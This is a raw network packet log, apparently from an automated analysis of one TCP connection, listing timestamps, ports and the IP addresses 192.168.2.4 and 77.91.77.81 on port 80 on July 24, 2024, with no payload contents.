Jul 24, 2024 02:39:11.306962967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.307648897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.307682037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.307714939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.307717085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.307737112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.307753086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.307770014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.307797909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.308159113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.308212042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.308227062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.308247089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.308264971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.308281898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.308294058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.308316946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.308330059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.308351994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.308371067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.308398962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.309109926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.309143066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.309174061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.309175968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.309210062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.309247971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.309252977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.309273005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.309273005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.309282064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.309302092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.309333086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.310008049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.310062885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.310075998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.310096025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.310115099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.310129881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.310142994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.310178041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.310183048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.310218096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.310259104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.310967922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.311000109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.311002016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.311028957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.311034918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.311043978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.311080933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.311381102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.311434031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.311440945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.311469078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.311482906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.311502934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.311513901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.311548948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.321742058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.321775913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.321805954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.321809053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.321835995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.321852922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365470886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365519047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365535975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365571022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365572929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365617990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365624905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365660906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365672112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365694046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365706921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365730047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365744114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365775108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365781069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365814924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365828037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365848064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365859985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365884066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365897894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365931034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.365935087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365968943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.365982056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366002083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366014957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366036892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366048098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366070032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366082907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366117954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366125107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366159916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366174936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366194010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366204023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366224051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366247892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366276979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366285086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366312027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366326094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366344929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366358995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366378069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366391897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366425991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366430044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366466045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366493940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366497993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366518974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366533995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366554022 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366565943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366579056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366600990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366611958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366637945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.366647959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.366683006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405554056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405631065 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405651093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405702114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405704975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405740023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405752897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405771971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405786991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405819893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405823946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405857086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405875921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405889988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405914068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405922890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405939102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405956984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.405972958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.405989885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406007051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406024933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406039000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406058073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406074047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406105995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406109095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406142950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406162024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406177998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406196117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406209946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406228065 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406244993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406259060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406280994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.406294107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.406331062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427370071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427436113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427481890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427560091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427578926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427614927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427623034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427654028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427676916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427697897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427747011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427752972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427783012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427804947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427817106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427834034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427866936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427869081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427911043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427918911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427957058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.427963018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.427989006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428006887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428023100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428041935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428071022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428072929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428105116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428117037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428139925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428150892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428179979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428210974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428214073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428225040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428245068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428261042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428277016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428294897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428308964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428325891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428342104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428359985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428375959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428394079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428407907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428426981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428442001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428457975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428474903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428514004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428525925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428550959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428582907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428600073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428633928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428637981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428668022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428698063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428699970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428730011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428733110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428755045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428765059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428782940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428800106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428816080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428848982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428858995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428894043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428914070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428930044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428940058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428963900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.428977966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.428998947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429011106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429045916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429049969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429083109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429099083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429116011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429127932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429162979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429166079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429199934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429213047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429231882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429244995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429265976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429279089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429299116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429312944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429332972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429344893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429366112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429378986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429399967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429413080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429431915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429445982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429465055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429477930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429500103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429512978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429546118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429584026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429616928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429634094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429651022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429663897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429683924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429697990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429718018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429730892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429750919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429764986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429785967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429796934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429820061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429831982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429855108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429866076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429888964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.429900885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.429939032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.434479952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.434643030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456213951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456301928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456336975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456371069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456393003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456393003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456393003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456404924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456413984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456455946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456458092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456516027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456522942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456558943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456572056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456593037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456609964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456641912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456644058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456677914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456696987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456712961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456728935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456744909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456759930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456792116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456803083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456836939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456850052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456871033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456885099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456904888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456917048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456950903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.456958055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.456990004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457004070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457025051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457035065 CEST	49731	80	192.168.2.4	77.91.77.81
